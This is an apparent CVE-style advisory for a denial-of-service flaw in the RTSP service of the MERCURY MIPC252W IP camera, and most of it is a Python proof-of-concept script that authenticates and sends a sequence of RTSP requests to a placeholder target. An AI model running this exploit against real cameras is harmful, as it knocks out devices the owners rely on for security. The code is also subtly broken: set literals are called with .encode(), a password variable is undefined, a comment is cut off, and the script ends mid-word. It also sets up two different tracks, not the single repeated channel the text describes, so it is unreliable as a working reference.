# CVE-2024-XXXX: MERCURY IPCAM Denial of Service Vulnerability ## Vulnerability Overview This vulnerability exists in the RTSP service of MERCURY IP cameras. An attacker can trigger a protocol state handling error by repeatedly sending `SETUP` requests targeting the same media channel within a single RTSP session. This causes the server to reset the RTSP connection, resulting in a Denial of Service (DoS) condition. ## Affected Scope * **Vendor**: MERCURY * **Affected Product**: MERCURY MIPC252W * **Affected Firmware Version**: 1.0.5 Build 230306 Rel.79931n * **Firmware Download URL**: http://service.mercurycom.com.cn/download-2777.html * **CVSS Score**: 4.4 (Medium) ## Remediation Currently, no fix is available for this vulnerability. ## POC Code ```python #!/usr/bin/env python3 # Tested device: # - Vendor: MERCURY # - Model: MIPC252W # - Firmware: 1.0.5 Build 230306 Rel.79931n # This code is for authorized security research purposes only. import socket import time import hashlib CAMERA_IP = "TARGET_IP" # replace with target device IP RTSP_PORT = 554 RTSP_URI = f"rtsp://{CAMERA_IP}:{RTSP_PORT}/stream1" USERNAME = "admin" REALM = "MERCURY IP-Camera" # Precomputed HA1 value (device/user specific, used only for PoC) HA1 = hashlib.md5(f"{USERNAME}:{REALM}:{YOUR_PASSWORD}".encode()).hexdigest() #Calculations must be perf def calculate_response(nonce, method, uri): """Calculate RTSP Digest authentication response""" ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest() return hashlib.md5(f"{HA1}:{nonce}:{ha2}".encode()).hexdigest() # Create RTSP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((CAMERA_IP, RTSP_PORT)) # 1. OPTIONS options_req = { f"OPTIONS {RTSP_URI} RTSP/1.0\r\n", f"CSeq: 2\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", } sock.send(options_req.encode()) time.sleep(1) options_res = sock.recv(4096).decode(errors="ignore") print("OPTIONS Response:\n", options_res) # 2. DESCRIBE (unauthenticated) describe1_req = { f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n", f"CSeq: 3\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", f"Accept: application/sdp\r\n", } sock.send(describe1_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_1 Response:\n", describe_res) # Extract nonce nonce = None for line in describe_res.split("\r\n"): if "nonce=" in line: nonce = line.split('"')[1].split('"')[0] break if not nonce: print("[!] Failed to get nonce from response") sock.close() exit(1) response = calculate_response(nonce, "DESCRIBE", RTSP_URI) # 3. DESCRIBE (authenticated) describe2_req = { f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n", f"CSeq: 4\r\n", f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n", f"Accept: application/sdp\r\n", } sock.send(describe2_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_2 Response:\n", describe_res) # 4. SETUP track1 (normal) setup1_req = { f"SETUP {RTSP_URI}/track1 RTSP/1.0\r\n", f"CSeq: 5\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n", f"Transport: RTP/AVP/TCP;unicast;interleaved=0-1\r\n", } sock.send(setup1_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore") print("SETUP_1 Response:\n", setup_res) # Extract Session ID session_id = None for line in setup_res.split("\r\n"): if line.startswith("Session:"): session_id = line.split(":")[1].split(";")[0].strip() break if not session_id: print("[!] Failed to get session ID") sock.close() exit(1) # 5. SETUP track2 setup2_req = { f"SETUP {RTSP_URI}/track2 RTSP/1.0\r\n", f"CSeq: 6\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n", f"Transport: RTP/AVP/TCP;unicast;interleaved=2-3\r\n", f"Session: {session_id}\r\n", } sock.send(setup2_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore") print("SETUP_2 Response:\n", setup_res) # 6. PLAY play_req = { f"PLAY {RTSP_URI}/ RTSP/1.0\r\n", f"CSeq: 7\r\n", f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}/\",\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", f"Session: {session_id}\r\n", f"Range: npt=0.000-\r\n", } sock.send(play_req.encode()) time.sleep(1) # 7. TEARDOWN teardown_req = { f"TEARDOWN {RTSP_URI}/ RTSP/1.0\r\n", f"CSeq: 8\r\n", f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}/\",\r\n", f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n", f"Session: {session_id}\r\n", } sock.send(teardow